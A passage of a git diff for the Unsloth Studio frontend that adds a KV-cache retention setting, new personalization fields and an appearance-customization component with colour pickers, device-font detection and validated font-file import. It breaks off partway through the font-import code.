+++ b/studio/frontend/src/features/settings/api/openai-auto-switch.ts
@@ -11,6 +11,8 @@ export type OpenAIAutoSwitchSettings = {
   // True when the idle-unload loop will actually unload (e.g. enabled via the
   // UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off).
   idleUnloadActive: boolean;
+  // Persist the KV cache to disk on idle unload and restore it on reload.
+  autoUnloadKeepKv: boolean;
 };
 
 type ApiOpenAIAutoSwitchSettings = {
@@ -21,6 +23,8 @@ type ApiOpenAIAutoSwitchSettings = {
   default_enabled: boolean;
   // biome-ignore lint/style/useNamingConvention: API schema
   idle_unload_active?: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  auto_unload_keep_kv?: boolean;
 };
 
 let cachedSettings: OpenAIAutoSwitchSettings | null = null;
@@ -34,6 +38,7 @@ function fromApi(
     autoUnloadIdleSeconds: settings.auto_unload_idle_seconds,
     defaultEnabled: settings.default_enabled,
     idleUnloadActive: settings.idle_unload_active ?? false,
+    autoUnloadKeepKv: settings.auto_unload_keep_kv ?? true,
   };
 }
 
@@ -66,15 +71,23 @@ export async function loadOpenAIAutoSwitchSettings() {
 
 export async function updateOpenAIAutoSwitchSettings(
   enabled: boolean,
-  autoUnloadIdleSeconds: number,
+  autoUnloadIdleSeconds?: number,
+  autoUnloadKeepKv?: boolean,
 ): Promise<OpenAIAutoSwitchSettings> {
   const res = await authFetch("/api/settings/openai-auto-switch", {
     method: "PUT",
     headers: { "Content-Type": "application/json" },
     body: JSON.stringify({
       enabled,
-      // biome-ignore lint/style/useNamingConvention: API schema
-      auto_unload_idle_seconds: autoUnloadIdleSeconds,
+      // Omitted fields keep their stored value.
+      ...(autoUnloadIdleSeconds === undefined
+        ? {}
+        : // biome-ignore lint/style/useNamingConvention: API schema
+          { auto_unload_idle_seconds: autoUnloadIdleSeconds }),
+      ...(autoUnloadKeepKv === undefined
+        ? {}
+        : // biome-ignore lint/style/useNamingConvention: API schema
+          { auto_unload_keep_kv: autoUnloadKeepKv }),
     }),
   });
   if (!res.ok) {
diff --git a/studio/frontend/src/features/settings/api/personalization.ts b/studio/frontend/src/features/settings/api/personalization.ts
index 829e8249bb..7355b6fd0b 100644
--- a/studio/frontend/src/features/settings/api/personalization.ts
+++ b/studio/frontend/src/features/settings/api/personalization.ts
@@ -3,17 +3,21 @@
 
 import { authFetch } from "@/features/auth";
 import { readFastApiError } from "@/lib/format-fastapi-error";
+import type { AppearanceCustomization } from "../stores/appearance-custom-store";
 
 export type PersonalizationProfile = {
   displayName: string;
   nickname: string;
   avatarDataUrl: string | null;
   avatarShape: "circle" | "rounded";
+  showGreetingSloth: boolean;
 };
 
 export type PersonalizationAppearance = {
   theme: "light" | "dark" | "system";
+  palette: "standard" | "classic" | "minimal";
   language: string | null;
+  customization: AppearanceCustomization;
 };
 
 export type Personalization = {
@@ -22,18 +26,28 @@ export type Personalization = {
   appearance: PersonalizationAppearance;
   // Distinguishes server hydrate from first local migration.
   saved: boolean;
+  // False when the stored record predates these fields (legacy migration): the
+  // client then keeps local values instead of the server-filled defaults.
+  customizationSaved: boolean;
+  paletteSaved: boolean;
+  greetingSlothSaved: boolean;
 };
 
 export async function loadPersonalization(): Promise<Personalization> {
   const res = await authFetch("/api/settings/personalization");
   if (!res.ok) {
-    throw new Error(await readFastApiError(res, "Failed to load personalization"));
+    throw new Error(
+      await readFastApiError(res, "Failed to load personalization"),
+    );
   }
   return (await res.json()) as Personalization;
 }
 
 export async function savePersonalization(
-  data: Omit<Personalization, "saved">,
+  data: Omit<
+    Personalization,
+    "saved" | "customizationSaved" | "paletteSaved" | "greetingSlothSaved"
+  >,
 ): Promise<void> {
   const res = await authFetch("/api/settings/personalization", {
     method: "PUT",
@@ -41,6 +55,8 @@ export async function savePersonalization(
     body: JSON.stringify(data),
   });
   if (!res.ok) {
-    throw new Error(await readFastApiError(res, "Failed to save personalization"));
+    throw new Error(
+      await readFastApiError(res, "Failed to save personalization"),
+    );
   }
 }
diff --git a/studio/frontend/src/features/settings/components/agent-command.ts b/studio/frontend/src/features/settings/components/agent-command.ts
index 9e87922970..38b2d73c3b 100644
--- a/studio/frontend/src/features/settings/components/agent-command.ts
+++ b/studio/frontend/src/features/settings/components/agent-command.ts
@@ -12,7 +12,7 @@ const DEFAULT_AGENT = "claude";
 
 // URL.hostname brackets IPv6 literals (`new URL("http://[::1]:8888").hostname` is
 // "[::1]"), so strip the brackets before matching the bare "::1" loopback rules below.
-function normalizeHost(host: string): string {
+export function normalizeHost(host: string): string {
   const lower = host.toLowerCase();
   return lower.startsWith("[") && lower.endsWith("]") ? lower.slice(1, -1) : lower;
 }
@@ -26,7 +26,7 @@ function isDefaultLocalHost(host: string): boolean {
 }
 
 // Match the CLI auto-mint rule (is_loopback_url): localhost, ::1, and all of 127.0.0.0/8.
-function isLoopbackHost(host: string): boolean {
+export function isLoopbackHost(host: string): boolean {
   if (host === "localhost" || host === "::1") return true;
   const octets = host.split(".");
   return (
diff --git a/studio/frontend/src/features/settings/components/api-key-row.tsx b/studio/frontend/src/features/settings/components/api-key-row.tsx
index 9a6e1ee207..7100634942 100644
--- a/studio/frontend/src/features/settings/components/api-key-row.tsx
+++ b/studio/frontend/src/features/settings/components/api-key-row.tsx
@@ -69,11 +69,11 @@ export function ApiKeyRow({
           <span className="truncate text-sm font-medium text-foreground" title={apiKey.name}>
             {apiKey.name}
           </span>
-          <code className="shrink-0 font-mono text-[11px] text-muted-foreground">
+          <code className="shrink-0 font-mono text-ui-11 text-muted-foreground">
             {prefix}
           </code>
         </div>
-        <div className="flex flex-wrap gap-x-1.5 text-[11px] text-muted-foreground">
+        <div className="flex flex-wrap gap-x-1.5 text-ui-11 text-muted-foreground">
           <span>
             {t("settings.apiKeys.created", {
               value: relative(apiKey.created_at, t),
diff --git a/studio/frontend/src/features/settings/components/api-monitor-console.tsx b/studio/frontend/src/features/settings/components/api-monitor-console.tsx
index 36d09115ae..0f931ff4da 100644
--- a/studio/frontend/src/features/settings/components/api-monitor-console.tsx
+++ b/studio/frontend/src/features/settings/components/api-monitor-console.tsx
@@ -80,7 +80,7 @@ function UsageBar({ value }: { value?: number | null }): ReactElement | null {
   return (
     <div className="mt-2 h-1.5 w-full overflow-hidden rounded-full bg-muted">
       <div
-        className="h-full rounded-full bg-primary"
+        className="h-full rounded-full bg-control-accent"
         style={{ width: `${pct}%` }}
       />
     </div>
@@ -111,7 +111,7 @@ function MonitorEntry({
   const reply = replyText || (entry.status === "running" ? "Waiting..." : "No reply");
 
   return (
-    <article className="rounded-lg border border-border/70 bg-background">
+    <article className="min-w-0 rounded-lg border border-border/70 bg-background">
       <button
         type="button"
         onClick={onToggle}
@@ -127,7 +127,7 @@ function MonitorEntry({
               {compactEndpoint(entry.endpoint)}
             </span>
           </div>
-          <div className="mt-1 truncate text-[11px] text-muted-foreground">
+          <div className="mt-1 truncate text-ui-11 text-muted-foreground">
             {entry.model}
           </div>
           <div className="mt-2 line-clamp-2 whitespace-pre-wrap break-words text-xs text-muted-foreground">
@@ -137,7 +137,7 @@ function MonitorEntry({
               (entry.status === "running" ? "Waiting..." : "No preview")}
           </div>
         </div>
-        <div className="flex shrink-0 items-start gap-2 text-right text-[11px] text-muted-foreground">
+        <div className="flex shrink-0 items-start gap-2 text-right text-ui-11 text-muted-foreground">
           <div>
             <div>{formatTime(entry.started_at)}</div>
             <div>{formatDuration(entry.duration_ms)}</div>
@@ -155,7 +155,7 @@ function MonitorEntry({
         <div className="border-t border-border/60 p-3 pt-2">
           <div className="grid gap-2">
             <div>
-              <div className="mb-1 flex items-center justify-between gap-2 text-[10px] font-semibold uppercase text-muted-foreground">
+              <div className="mb-1 flex items-center justify-between gap-2 text-ui-10 font-semibold uppercase text-muted-foreground">
                 <span>Prompt</span>
                 {entry.prompt_truncated && !detail ? <span>Preview</span> : null}
               </div>
@@ -164,7 +164,7 @@ function MonitorEntry({
               </pre>
             </div>
             <div>
-              <div className="mb-1 flex items-center justify-between gap-2 text-[10px] font-semibold uppercase text-muted-foreground">
+              <div className="mb-1 flex items-center justify-between gap-2 text-ui-10 font-semibold uppercase text-muted-foreground">
                 <span>Reply</span>
                 {entry.reply_truncated && !detail ? <span>Preview</span> : null}
               </div>
@@ -174,7 +174,7 @@ function MonitorEntry({
             </div>
           </div>
 
-          <div className="mt-3 text-[11px] text-muted-foreground">
+          <div className="mt-3 text-ui-11 text-muted-foreground">
             {formatTokens(entry)}
             {entry.context_length ? (
               <> / {entry.context_length.toLocaleString()} context</>
diff --git a/studio/frontend/src/features/settings/components/appearance-custom-controls.tsx b/studio/frontend/src/features/settings/components/appearance-custom-controls.tsx
new file mode 100644
index 0000000000..bd5459f88f
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/appearance-custom-controls.tsx
@@ -0,0 +1,973 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+} from "@/components/ui/command";
+import { Input } from "@/components/ui/input";
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from "@/components/ui/popover";
+import { Slider } from "@/components/ui/slider";
+import { Switch } from "@/components/ui/switch";
+import { type TranslationKey, useT } from "@/i18n";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import {
+  Cancel01Icon,
+  Folder01Icon,
+  Upload01Icon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { motion, useReducedMotionConfig } from "motion/react";
+import {
+  useEffect,
+  useRef,
+  useState,
+  useSyncExternalStore,
+} from "react";
+import {
+  CODE_FONT_SIZE_RANGE,
+  type CustomModeColors,
+  DEFAULT_CUSTOMIZATION,
+  MAX_IMPORTED_FONTS,
+  MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH,
+  type ReduceMotionSetting,
+  UI_FONT_SIZE_RANGE,
+  isDefaultCustomization,
+  useAppearanceCustomStore,
+} from "../stores/appearance-custom-store";
+import {
+  type Palette,
+  type ResolvedTheme,
+  usePalette,
+  useTheme,
+} from "../stores/theme-store";
+import { ColorPickerSwatch } from "./color-picker";
+
+/* ------------------------------- Colors -------------------------------- */
+
+// Seed values shown in the pickers while no override is set. Mirrors the
+// palette token values in index.css (foregrounds converted from oklch).
+type DefaultModeColors = { [K in keyof CustomModeColors]: string };
+const PALETTE_DEFAULT_COLORS: Record<
+  Palette,
+  Record<ResolvedTheme, DefaultModeColors>
+> = {
+  standard: {
+    light: { accent: "#17b88b", background: "#fefefd", foreground: "#262626" },
+    dark: { accent: "#17b88b", background: "#181818", foreground: "#ececec" },
+  },
+  classic: {
+    light: { accent: "#339cff", background: "#ffffff", foreground: "#1a1c1f" },
+    dark: { accent: "#4dabff", background: "#181818", foreground: "#ececec" },
+  },
+  minimal: {
+    light: { accent: "#171717", background: "#ffffff", foreground: "#171717" },
+    dark: { accent: "#ededed", background: "#181818", foreground: "#ededed" },
+  },
+};
+
+/**
+ * Color override control for the CURRENTLY ACTIVE resolved mode. Only the
+ * active mode is editable; the other mode's overrides stay stored and take
+ * effect when the color scheme flips.
+ */
+export function ActiveColorControl({
+  colorKey,
+  label,
+}: {
+  colorKey: keyof CustomModeColors;
+  label: string;
+}) {
+  const t = useT();
+  const { resolved } = useTheme();
+  const { palette } = usePalette();
+  const override = useAppearanceCustomStore(
+    (s) => s.customization.colors[resolved][colorKey],
+  );
+  const setColor = useAppearanceCustomStore((s) => s.setColor);
+  const fallback = PALETTE_DEFAULT_COLORS[palette][resolved][colorKey];
+  const value = override ?? fallback;
+  return (
+    <div className="flex items-center gap-2">
+      {override !== null && (
+        <Button
+          type="button"
+          variant="ghost"
+          size="sm"
+          className="h-7 px-2 text-xs text-muted-foreground"
+          onClick={() => setColor(resolved, colorKey, null)}
+        >
+          {t("settings.appearance.custom.reset")}
+        </Button>
+      )}
+      <ColorPickerSwatch
+        value={value}
+        onChange={(hex) => setColor(resolved, colorKey, hex)}
+        label={label}
+      />
+    </div>
+  );
+}
+
+/* ------------------------------ Typography ------------------------------ */
+
+/** Font each slot resolves to when no override is set (see index.css). */
+const DEFAULT_FONT_NAMES = {
+  ui: "Inter Variable",
+  heading: "Hellix",
+  chat: "Inter Variable",
+  code: "JetBrains Mono",
+} as const;
+
+/** Fonts Unsloth Studio already ships (bundled @font-face / fontsource). */
+const BUNDLED_FONTS = [
+  "Inter Variable",
+  "Hellix",
+  "Space Grotesk Variable",
+  "Figtree Variable",
+  "JetBrains Mono",
+  "Fira Code",
+] as const;
+
+/* ----------------------------- Device fonts ------------------------------ */
+
+// Fallback candidates probed by canvas measurement when the Local Font
+// Access API (Chromium-only) is unavailable or denied.
+const CANDIDATE_DEVICE_FONTS = [
+  "American Typewriter",
+  "Andale Mono",
+  "Arial",
+  "Avenir",
+  "Avenir Next",
+  "Baskerville",
+  "Calibri",
+  "Cambria",
+  "Candara",
+  "Cantarell",
+  "Charter",
+  "Comic Sans MS",
+  "Consolas",
+  "Constantia",
+  "Corbel",
+  "Courier",
+  "Courier New",
+  "DejaVu Sans",
+  "DejaVu Sans Mono",
+  "DejaVu Serif",
+  "Didot",
+  "Fira Sans",
+  "Franklin Gothic Medium",
+  "Futura",
+  "Geneva",
+  "Georgia",
+  "Gill Sans",
+  "Helvetica",
+  "Helvetica Neue",
+  "Hoefler Text",
+  "IBM Plex Mono",
+  "IBM Plex Sans",
+  "Impact",
+  "Inconsolata",
+  "Iosevka",
+  "Lato",
+  "Liberation Mono",
+  "Liberation Sans",
+  "Liberation Serif",
+  "Lucida Grande",
+  "Menlo",
+  "Monaco",
+  "Montserrat",
+  "Noto Sans",
+  "Noto Serif",
+  "Nunito",
+  "Open Sans",
+  "Optima",
+  "Palatino",
+  "Roboto",
+  "Rockwell",
+  "Segoe UI",
+  "Seravek",
+  "Source Sans Pro",
+  "Tahoma",
+  "Times",
+  "Times New Roman",
+  "Trebuchet MS",
+  "Ubuntu",
+  "Verdana",
+];
+
+function detectFontsByMeasurement(candidates: string[]): string[] {
+  const canvas = document.createElement("canvas");
+  const ctx = canvas.getContext("2d");
+  if (!ctx) return [];
+  const sample = "mmmmmmmmmwwwwwwwlli";
+  const baselines = ["monospace", "sans-serif", "serif"].map((base) => {
+    ctx.font = `72px ${base}`;
+    return { base, width: ctx.measureText(sample).width };
+  });
+  return candidates.filter((family) =>
+    baselines.some(({ base, width }) => {
+      ctx.font = `72px "${family}", ${base}`;
+      return ctx.measureText(sample).width !== width;
+    }),
+  );
+}
+
+let deviceFontsCache: string[] | null = null;
+
+async function loadDeviceFonts(): Promise<string[]> {
+  if (deviceFontsCache) return deviceFontsCache;
+  let families: string[] = [];
+  const query = (
+    globalThis as {
+      queryLocalFonts?: () => Promise<{ family: string }[]>;
+    }
+  ).queryLocalFonts;
+  if (typeof query === "function") {
+    try {
+      const fonts = await query();
+      families = [...new Set(fonts.map((f) => f.family))];
+    } catch {
+      // permission denied; fall back to measurement probing
+    }
+  }
+  if (families.length === 0) {
+    families = detectFontsByMeasurement(CANDIDATE_DEVICE_FONTS);
+  }
+  deviceFontsCache = families.sort((a, b) => a.localeCompare(b));
+  return deviceFontsCache;
+}
+
+function FontSelect({
+  value,
+  defaultFont,
+  onCommit,
+  ariaLabel,
+}: {
+  value: string | null;
+  defaultFont: string;
+  onCommit: (next: string | null) => void;
+  ariaLabel: string;
+}) {
+  const t = useT();
+  const defaultLabel = `${defaultFont} (${t("settings.appearance.custom.fontDefault")})`;
+  const [open, setOpen] = useState(false);
+  const [deviceFonts, setDeviceFonts] = useState<string[] | null>(
+    deviceFontsCache,
+  );
+  const importedFonts = useAppearanceCustomStore(
+    (s) => s.customization.importedFonts,
+  );
+  const removeImportedFont = useAppearanceCustomStore(
+    (s) => s.removeImportedFont,
+  );
+
+  const handleOpenChange = (next: boolean) => {
+    setOpen(next);
+    // Kick off inside the click gesture: queryLocalFonts may need transient
+    // user activation for its permission prompt.
+    if (next && deviceFonts === null) {
+      void loadDeviceFonts().then(setDeviceFonts);
+    }
+  };
+
+  const select = (next: string | null) => {
+    onCommit(next);
+    setOpen(false);
+  };
+
+  const folderFonts = useFolderFonts();
+  const { inputs: uploadInputs, requestUpload, requestFolder, importFile } =
+    useFontImport((name) => select(name));
+
+  const knownNames = new Set<string>([
+    ...BUNDLED_FONTS,
+    ...importedFonts.map((f) => f.name),
+  ]);
+  const deviceOnlyFonts = (deviceFonts ?? []).filter((f) => !knownNames.has(f));
+
+  const renderItem = (font: string) => (
+    <CommandItem
+      key={font}
+      value={font}
+      onSelect={() => select(font)}
+      data-checked={value === font}
+      className="cursor-pointer rounded-[11px]"
+    >
+      {/* Preview each entry in its own typeface. */}
+      <span
+        className="min-w-0 truncate"
+        style={{ fontFamily: `"${font}", var(--font-sans)` }}
+      >
+        {font}
+      </span>
+    </CommandItem>
+  );
+
+  return (
+    <Popover open={open} onOpenChange={handleOpenChange} modal={true}>
+      <PopoverTrigger asChild={true}>
+        <button
+          type="button"
+          aria-label={ariaLabel}
+          aria-expanded={open}
+          className="flex h-8 w-48 cursor-pointer items-center justify-between gap-1.5 rounded-full border border-border bg-background px-3.5 text-xs outline-none transition-colors hover:bg-accent/50 focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] dark:border-transparent dark:bg-white/[0.06] dark:hover:bg-white/10"
+        >
+          <span
+            className="min-w-0 truncate"
+            style={{ fontFamily: `"${value ?? defaultFont}", var(--font-sans)` }}
+          >
+            {value ?? defaultLabel}
+          </span>
+          <HugeiconsIcon
+            icon={ChevronDownStandardIcon}
+            strokeWidth={2}
+            className="size-4 shrink-0 text-muted-foreground"
+          />
+        </button>
+      </PopoverTrigger>
+      <PopoverContent
+        align="end"
+        className="w-64 gap-0 rounded-lg p-1 font-heading"
+      >
+        <Command className="rounded-none bg-transparent p-0">
+          <CommandInput
+            placeholder={t("settings.appearance.custom.fontSearch")}
+          />
+          <CommandList className="max-h-64 pt-1.5">
+            <CommandEmpty>
+              {t("settings.appearance.custom.fontNoResults")}
+            </CommandEmpty>
+            <CommandItem
+              value={defaultLabel}
+              onSelect={() => select(null)}
+              data-checked={value === null}
+              className="cursor-pointer rounded-[11px]"
+            >
+              <span style={{ fontFamily: `"${defaultFont}", var(--font-sans)` }}>
+                {defaultLabel}
+              </span>
+            </CommandItem>
+            <CommandGroup
+              className="p-0"
+              heading={t("settings.appearance.custom.fontBundledGroup")}
+            >
+              {BUNDLED_FONTS.map(renderItem)}
+            </CommandGroup>
+            {importedFonts.length > 0 && (
+              <CommandGroup
+                className="p-0"
+                heading={t("settings.appearance.custom.fontImportedGroup")}
+              >
+                {importedFonts.map((font) => (
+                  <CommandItem
+                    key={font.name}
+                    value={font.name}
+                    onSelect={() => select(font.name)}
+                    data-checked={value === font.name}
+                    className="cursor-pointer rounded-[11px]"
+                  >
+                    <span
+                      className="min-w-0 truncate"
+                      style={{ fontFamily: `"${font.name}", var(--font-sans)` }}
+                    >
+                      {font.name}
+                    </span>
+                    <button
+                      type="button"
+                      aria-label={`${t("settings.appearance.custom.importFont.remove")}: ${font.name}`}
+                      onPointerDown={(e) => e.stopPropagation()}
+                      onClick={(e) => {
+                        e.stopPropagation();
+                        removeImportedFont(font.name);
+                      }}
+                      className="ml-auto rounded p-0.5 text-muted-foreground transition-colors hover:text-foreground"
+                    >
+                      <HugeiconsIcon icon={Cancel01Icon} className="size-3" />
+                    </button>
+                  </CommandItem>
+                ))}
+              </CommandGroup>
+            )}
+            {folderFonts.some((f) => !knownNames.has(f.name)) && (
+              <CommandGroup
+                className="p-0"
+                heading={t("settings.appearance.custom.fontFolderGroup")}
+              >
+                {folderFonts
+                  .filter((f) => !knownNames.has(f.name))
+                  .map(({ name, file }) => (
+                    <CommandItem
+                      key={`folder-${name}`}
+                      value={name}
+                      onSelect={() => importFile(file)}
+                      className="cursor-pointer rounded-[11px]"
+                    >
+                      <span className="min-w-0 truncate">{name}</span>
+                    </CommandItem>
+                  ))}
+              </CommandGroup>
+            )}
+            <CommandGroup
+              className="p-0"
+              heading={t("settings.appearance.custom.fontDeviceGroup")}
+            >
+              {deviceFonts === null ? (
+                <div className="px-3 py-2 text-xs text-muted-foreground">
+                  {t("settings.appearance.custom.fontDeviceLoading")}
+                </div>
+              ) : (
+                deviceOnlyFonts.map(renderItem)
+              )}
+            </CommandGroup>
+          </CommandList>
+        </Command>
+        <div className="mt-1 flex items-center gap-1 border-t border-border/60 pt-1">
+          <button
+            type="button"
+            onClick={requestUpload}
+            className="flex flex-1 cursor-pointer items-center gap-2 whitespace-nowrap rounded-[11px] px-3 py-2 text-sm hover:bg-accent hover:text-accent-foreground"
+          >
+            <HugeiconsIcon
+              icon={Upload01Icon}
+              className="size-4 shrink-0 text-muted-foreground"
+            />
+            {t("settings.appearance.custom.importFont.upload")}
+          </button>
+          <div className="h-4 w-px shrink-0 bg-border" />
+          <button
+            type="button"
+            onClick={requestFolder}
+            className="flex flex-1 cursor-pointer items-center gap-2 whitespace-nowrap rounded-[11px] px-3 py-2 text-sm hover:bg-accent hover:text-accent-foreground"
+          >
+            <HugeiconsIcon
+              icon={Folder01Icon}
+              className="size-4 shrink-0 text-muted-foreground"
+            />
+            {t("settings.appearance.custom.importFont.scanFolder")}
+          </button>
+        </div>
+        {uploadInputs}
+      </PopoverContent>
+    </Popover>
+  );
+}
+
+export function UiFontRow() {
+  const t = useT();
+  const uiFont = useAppearanceCustomStore((s) => s.customization.uiFont);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={uiFont}
+      defaultFont={DEFAULT_FONT_NAMES.ui}
+      onCommit={(next) => patch({ uiFont: next })}
+      ariaLabel={t("settings.appearance.custom.uiFont.label")}
+    />
+  );
+}
+
+export function HeadingFontRow() {
+  const t = useT();
+  const headingFont = useAppearanceCustomStore(
+    (s) => s.customization.headingFont,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={headingFont}
+      defaultFont={DEFAULT_FONT_NAMES.heading}
+      onCommit={(next) => patch({ headingFont: next })}
+      ariaLabel={t("settings.appearance.custom.headingFont.label")}
+    />
+  );
+}
+
+export function ChatFontRow() {
+  const t = useT();
+  const chatFont = useAppearanceCustomStore((s) => s.customization.chatFont);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={chatFont}
+      defaultFont={DEFAULT_FONT_NAMES.chat}
+      onCommit={(next) => patch({ chatFont: next })}
+      ariaLabel={t("settings.appearance.custom.chatFont.label")}
+    />
+  );
+}
+
+export function CodeFontRow() {
+  const t = useT();
+  const codeFont = useAppearanceCustomStore((s) => s.customization.codeFont);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={codeFont}
+      defaultFont={DEFAULT_FONT_NAMES.code}
+      onCommit={(next) => patch({ codeFont: next })}
+      ariaLabel={t("settings.appearance.custom.codeFont.label")}
+    />
+  );
+}
+
+/* ---------------------------- Imported fonts ---------------------------- */
+
+const FONT_MIME_BY_EXTENSION: Record<string, string> = {
+  woff2: "font/woff2",
+  woff: "font/woff",
+  ttf: "font/ttf",
+  otf: "font/otf",
+};
+
+const MAX_FONT_FILE_BYTES = Math.floor(1.5 * 1024 * 1024);
+
+// Trailing style words stripped when matching a file name to a family the
+// user already has ("Roboto-Bold.ttf" should match an installed "Roboto").
+const FONT_STYLE_SUFFIXES = new Set([
+  "regular",
+  "bold",
+  "italic",
+  "light",
+  "medium",
+  "thin",
+  "black",
+  "semibold",
+  "extrabold",
+  "extralight",
+  "heavy",
+  "book",
+  "oblique",
+  "normal",
+  "variable",
+  "vf",
+]);
+
+function fontBaseName(fileName: string): string {
+  return fileName
+    .replace(/\.[^.]+$/, "")
+    .replace(/[;{}()<>"']/g, "")
+    .replace(/[_-]+/g, " ")
+    .trim();
+}
+
+function familyCandidates(base: string): string[] {
+  const candidates = [base];
+  let words = base.split(/\s+/);
+  while (
+    words.length > 1 &&
+    FONT_STYLE_SUFFIXES.has(words[words.length - 1].toLowerCase())
+  ) {
+    words = words.slice(0, -1);
+    candidates.push(words.join(" "));
+  }
+  return candidates;
+}
+
+/* ----------------------------- Folder fonts ----------------------------- */
+
+// Font files found by a folder scan this session, shared by every dropdown.
+// File handles cannot be persisted from a plain directory input, so the list
+// lives for the session; picking one imports it through the normal path.
+type FolderFont = { name: string; file: File };
+let folderFontsCache: FolderFont[] = [];
+const folderFontsListeners = new Set<() => void>();
+
+function setFolderFonts(next: FolderFont[]) {
+  folderFontsCache = next;
+  for (const listener of folderFontsListeners) listener();
+}
+
+function useFolderFonts(): FolderFont[] {
+  return useSyncExternalStore(
+    (onChange) => {
+      folderFontsListeners.add(onChange);
+      return () => folderFontsListeners.delete(onChange);
+    },
+    () => folderFontsCache,
+  );
+}
+
+function fontNameFromFile(fileName: string, taken: Set<string>): string {
+  const base = fontBaseName(fileName).slice(0, 60) || "Imported font";
+  let candidate = base;
+  let suffix = 2;
+  while (taken.has(candidate)) {
+    candidate = `${base} ${suffix}`;
+    suffix += 1;
+  }
+  return candidate;
+}
+
+/**
+ * File-import plumbing for the font dropdowns: hidden inputs, validation,
+ * and persistence. Successful uploads call onImported with the font name
+ * so the dropdown can select it for its slot right away. Fonts the user
+ * already has (bundled, imported, or installed on the device) are selected
+ * directly instead of embedding a duplicate copy.
+ */
+function useFontImport(onImported: (name: string) => void) {
+  const t = useT();
+  const importedFonts = useAppearanceCustomStore(
+    (s) => s.customization.importedFonts,
+  );
+  const addImportedFont = useAppearanceCustomStore((s) => s.addImportedFont);
+  const inputRef = useRef<HTMLInputElement>(null);
+  const folderRef = useRef<HTMLInputElement>(null);
+
+  // Match the file name against fonts that already exist somewhere.
+  const findExisting = (fileName: string): string | null => {
+    for (const candidate of familyCandidates(fontBaseName(fileName))) {
+      const lower = candidate.toLowerCase();
+      const imported = importedFonts.find((f) => f.name.toLowerCase() === lower);
+      if (imported) return imported.name;
+      const bundled = BUNDLED_FONTS.find((f) => f.toLowerCase() === lower);
+      if (bundled) return bundled;
+      if (detectFontsByMeasurement([candidate]).length > 0) return candidate;
+    }
+    return null;
+  };
+
+  const importFile = (file: File) => {
+    const existing = findExisting(file.name);
+    if (existing) {
+      toast.info(t("settings.appearance.custom.importFont.alreadyAvailable"));
+      onImported(existing);
+      return;
+    }
+    if (importedFonts.length >= MAX_IMPORTED_FONTS) {
+      toast.error(t("settings.appearance.custom.importFont.errorLimit"));
+      return;
+    }
+    const extension = file.name.split(".").pop()?.toLowerCase() ?? "";
+    const mime = FONT_MIME_BY_EXTENSION[extension];
+    if (!mime) {
+      toast.error(t("settings.appearance.custom.importFont.errorInvalidType"));
+      return;
+    }
+    if (file.size > MAX_FONT_FILE_BYTES) {
+      toast.error(t("settings.appearance.custom.importFont.errorTooLarge"));
+      return;
+    }
+    const reader = new FileReader();
+    reader.onerror = () => {
+      toast.error(t("settings.appearance.custom.importFont.errorFailed"));
+    };
+    reader.onload = () => {
+      const result = reader.result;
+      if (typeof result !== "string") {
+        toast.error(t("settings.appearance.custom.importFont.errorFailed"));
+        return;
+      }
+      // Rewrite whatever MIME the browser guessed to the extension's font
+      // type so the stored data URL passes frontend and backend validation.
+      const base64 = result.slice(result.indexOf(",") + 1);
+      const dataUrl = `data:${mime};base64,${base64}`;
+      // Keep the persisted store under the localStorage quota.
+      const existingTotal = importedFonts.reduce(
+        (sum, f) => sum + f.dataUrl.length,
+        0,
+      );
+      if (
+        existingTotal + dataUrl.length >
+        MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH
+      ) {
+        toast.error(
+          t("settings.appearance.custom.importFont.errorStorageFull"),
+        );
+        return;
+      }
+      const taken = new Set<string>([
+        ...BUNDLED_FONTS,
+        ...importedFonts.map((f) => f.name),
+      ]);
+      const name = fontNameFromFile(file.name, taken);
+      // Prove the file is a loadable font before persisting it.
+      const face = new FontFace(name, `url(${dataUrl})`);
+      face
+        .load()
+        .then(() => {
+          addImportedFont({ name, dataUrl });
+          onImported(name);
+        })
+        .catch(() => {
+          toast.error(t("settings.appearance.custom.importFont.errorFailed"));
+        });
+    };
+    reader.readAsDataURL(file);
+  };
+
+  const scanFolder = (files: FileList) => {
+    const found: FolderFont[] = [];
+    const seen = new Set<string>();
+    for (const file of Array.from(files)) {
+      const extension = file.name.split(".").pop()?.toLowerCase() ?? "";
+      if (!FONT_MIME_BY_EXTENSION[extension]) continue;
+      const name = fontBaseName(file.name).slice(0, 60);
+      if (!name || seen.has(name.toLowerCase())) continue;
+      seen.add(name.toLowerCase());
+      found.push({ name, file });
+      if (found.length >= 200) break;
+    }
+    if (found.length === 0) {
+      toast.info(t("settings.appearance.custom.importFont.folderNoFonts"));
+      return;
+    }
+    found.sort((a, b) => a.name.localeCompare(b.name));
+    setFolderFonts(found);
+  };
+
+  const requestUpload = () => inputRef.current?.click();
+  const requestFolder = () => folderRef.current?.click();
+
+  const inputs = (
+    <>
+      <input
+        ref={inputRef}
+        type="file"
+        accept=".woff2,.woff,.ttf,.otf"
+        className="hidden"
+        onChange={(e) => {
+          const file = e.target.files?.[0];
+          if (file) importFile(file);
+          e.target.value = "";
+        }}
+      />
+      <input
+        ref={folderRef}
+        type="file"
+        className="hidden"
+        // Non-standard but universal directory picker attributes.
+        {...({ webkitdirectory: "", directory: "" } as object)}
+        onChange={(e) => {
+          if (e.target.files) scanFolder(e.target.files);
+          e.target.value = "";
+        }}
+      />
+    </>
+  );
+
